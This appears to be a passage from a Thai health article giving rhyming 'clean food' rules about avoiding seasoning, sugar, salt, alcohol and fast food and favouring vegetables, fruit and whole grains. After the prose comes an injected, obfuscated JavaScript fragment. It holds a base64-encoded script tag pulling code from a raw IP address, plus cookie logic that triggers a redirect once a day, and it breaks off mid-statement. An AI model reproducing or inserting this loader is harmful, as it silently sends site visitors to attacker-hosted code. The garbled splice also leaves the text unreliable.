ช่วงที่ 2 ตอน 'คลีนฟู้ด' กินเพื่อสุขภาพ พูดว่าคลีนฟู้ดเฉยๆ คุณอาจยังไม่เห็นภาพ ฉันเลยอยากยกตัวอย่างให้เห็นๆกันไปเลยนะคะ ว่าจะคลีนได้นั้น เขามีกฎเหล็กอะไรกันบ้าง มีผู้คิดคำคล้องจองให้ท่องจำไว้ดังนี้ค่ะ เลี่ยงเครื่องปรุง, ยุ่งกับผัก, หักกับฟาสต์ฟู้ด, อย่าดูดดื่มกับแอลกอฮอล์, ต้องไม่หวาน, ลดปริมาณเกลือ, เชื่อใจโฮลเกรน, เบนเข็มจากเนื้อสัตว์, เคร่งครัดทานผลไม้, อะไรสีขาวต้องไม่ทาน และอ่านฉลากให้เข้าใจก่อนค่ะ MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('